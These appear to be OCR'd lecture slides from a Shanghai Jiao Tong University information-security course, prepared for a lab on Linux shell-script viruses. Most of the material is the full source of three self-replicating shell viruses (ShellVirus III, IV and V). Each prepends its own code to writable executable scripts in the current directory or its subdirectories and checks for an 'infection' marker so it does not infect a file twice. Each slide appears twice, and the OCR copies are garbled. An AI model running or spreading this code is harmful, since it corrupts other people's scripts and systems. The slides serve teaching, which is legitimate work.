上文通大学 SHANGHAI JLAO TONG UNIVERSITY 第三,具有感染机制的Shel川病毒 #shellvirus lll# #infection 国 head-n 35 $0 >.test1 #取病毒自身代码并保存到.test © for file in ./ #遍历当前目录中的文件 国 do 国 echo Sfile 国 head -n 2 Sfile >.mm #提取要感染的脚本文件的第一行 © if grep infection .mm >.mmm #判断是否有感染标记infection 国 then #已经被感染,则跳过 国 echo "infected file and rm.mm" 国 rm-f.mm © else #尚未感染,继续执行 © if test -f Sfile 国 then echo "test -f" if test-x Sfile then echo "test x" 信息安全工程学院
信息安全工程学院 第三,具有感染机制的Shell病毒 #shellvirus III# #infection head -n 35 $0 > .test1 #取病毒自身代码并保存到.test for file in ./* #遍历当前目录中的文件 do echo $file head -n 2 $file > .mm #提取要感染的脚本文件的第一行 if grep infection .mm > .mmm #判断是否有感染标记infection then #已经被感染,则跳过 echo "infected file and rm .mm" rm -f .mm else #尚未感染,继续执行 if test -f $file then echo "test -f" if test -x $file then echo "test -x
上游充通大学 SHANGHAI JLAO TONG UNIVERSITY ⊕ if test -w Sfile © then 国 echo "test -w" © if grep-s sh Sfile >.mmm 国 then © echo "test-s and cat..." 国 cat $file >SAVEE #把病毒代码放在脚本文件的开始部分 © cat.test1 Sfile #原有代码追加在末尾 cat.SAVEE >Sfile #形成含有病毒代码的脚本文件 © f 国 fi fi 国 fi f done rm.test1.SAVEE.mmm.mm-f#清理工作 信息安全工程学院
信息安全工程学院 if test -w $file then echo "test -w" if grep -s sh $file > .mmm then echo "test -s and cat..." cat $file > .SAVEE #把病毒代码放在脚本文件的开始部分 cat .test1 > $file #原有代码追加在末尾 cat .SAVEE >> $file #形成含有病毒代码的脚本文件 fi fi fi fi fi done rm .test1 .SAVEE .mmm .mm –f #清理工作
上游充通大学 第四,更如晦涩的病毒 SHANGHAI JLAO TONG UNIVERSITY ⊙ #ShellVirus IV# #infection for file in./*;do#分号(;)表示命令分隔符 国 if test-f Sfile &test-x Sfile &test -w Sfile;then 0 if grep-s sh Sfile >/dev/nul then head -n 2 $file >.mm if grep-s infection.mm >/dev/nul then rm-f.mm else 国 head-n 14 $0>.SAVEE cat $file >>.SAVEE cat.SAVEE Sfile 国 fififi done rm -f .SAVEE .mm 信息安全工程学院
信息安全工程学院 第四,更加晦涩的病毒 #ShellVirus IV# #infection for file in ./* ; do #分号(;)表示命令分隔符 if test -f $file && test -x $file && test -w $file ; then if grep -s sh $file > /dev/nul ; then head -n 2 $file > .mm if grep -s infection .mm > /dev/nul ; then rm -f .mm ; else head -n 14 $0 > .SAVEE cat $file >> .SAVEE cat .SAVEE > $file fi fi fi done rm -f .SAVEE .mm
上游充廷大学 第五,感染特定目录的Shell病毒 SHANGHAI JLAO TONG UNIVERSITY #ShellVirus V# #infection © xtemp=Spwd #保存当前路径 © head-n 22 $0>/.test1 © for dir in./*do #遍历当前目录 ⑧ if test-d $dir;then #如果有子目录则进入 © cd $dir © for file in./*;do #遍历该目录文件 © if test-f Sfile &test-x Sfile &test-w Sfile then © if grep-s sh Sfile >/dev/nul then ① head -n 2 Sfile >.mm © if grep-s infection.mm >/dev/nul then rm-f.mm else 国 cat Sfile >/.SAVEE #完成感染 © cat/.test1 Sfile ① cat/.SAVEE >Sfile 雪 fififi © done © cd.. © fi ⊕ done 图 cd $xtemp © rm-f/.test1I.SAVEE.mm#清理工作 信息安全工程学院
信息安全工程学院 第五,感染特定目录的Shell病毒 #ShellVirus V# #infection xtemp=$pwd #保存当前路径 head -n 22 $0 > /.test1 for dir in ./* ; do #遍历当前目录 if test -d $dir ; then #如果有子目录则进入 cd $dir for file in ./* ; do #遍历该目录文件 if test -f $file && test -x $file && test -w $file ; then if grep -s sh $file > /dev/nul ; then head -n 2 $file > .mm if grep -s infection .mm > /dev/nul ; then rm -f .mm ; else cat $file > /.SAVEE #完成感染 cat /.test1 > $file cat /.SAVEE >> $file fi fi fi done cd .. fi done cd $xtemp rm -f /.test1 /.SAVEE .mm #清理工作
上游充通大学 脚本病毒实验(实验十) SHANGHAI JLAO TONG UNIVERSITY 【实验目的】 了解Liux脚本型病毒的基本编制原理。 了解脚本病毒的感染、破坏机制,进一步认识 Linux操作系统下的病毒。 【实验环境】 运行环境Red Hat Linux操作系统。 信息安全工程学院
信息安全工程学院 脚本病毒实验(实验十) 【实验目的】 了解Linux脚本型病毒的基本编制原理。 了解脚本病毒的感染、破坏机制,进一步认识 Linux操作系统下的病毒。 【实验环境】 运行环境Red Hat Linux操作系统